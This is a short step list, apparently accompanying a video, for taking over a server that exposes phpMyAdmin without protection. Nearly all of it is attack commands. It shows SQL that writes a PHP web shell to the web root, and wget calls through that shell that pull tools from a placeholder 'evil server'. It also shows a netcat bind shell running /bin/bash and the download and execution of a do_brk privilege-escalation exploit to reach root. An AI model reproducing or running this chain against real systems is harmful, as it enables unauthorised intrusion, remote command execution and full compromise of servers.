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The following video details the steps taken to turn an unprotected phpMyAdmin interface into root access. Also included are the various URLs and commands in line for your review.

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  1. http://<target>
  2. http:// <target>/phpmyadmin
  3. select "<? system($_REQUEST['cmd']); ?>" into outfile "/opt/lampp/htdocs/cmd.php";
  4. http:// <target>/cmd.php?cmd=wget http:// <evil server>/madshell.txt –O madshell.php
  5. http:// <target>/madshell.php
  6. http:// <target>/cmd.php?cmd=wget http:// <evil server>/netcat.txt –O netcat
  7. http:// <target>/cmd.php?cmd=chmod 777 netcat
  8. execute ./nc -l -vvv -p 12345 -e /bin/bash
  9. Windows cmdline nc <target>12345
  10. http:// <target>/cmd.php?cmd=wget http://<evil server>/do_brk-exploit.txt –O do_brk
  11. http:// <target>/cmd.php?cmd=chmod 777 do_brk
  12. http:// <target>/cmd.php?cmd=ls –l
  13. Target cmdline whoami
  14. Target cmdline ./do_brk
  15. Target cmdline whoami
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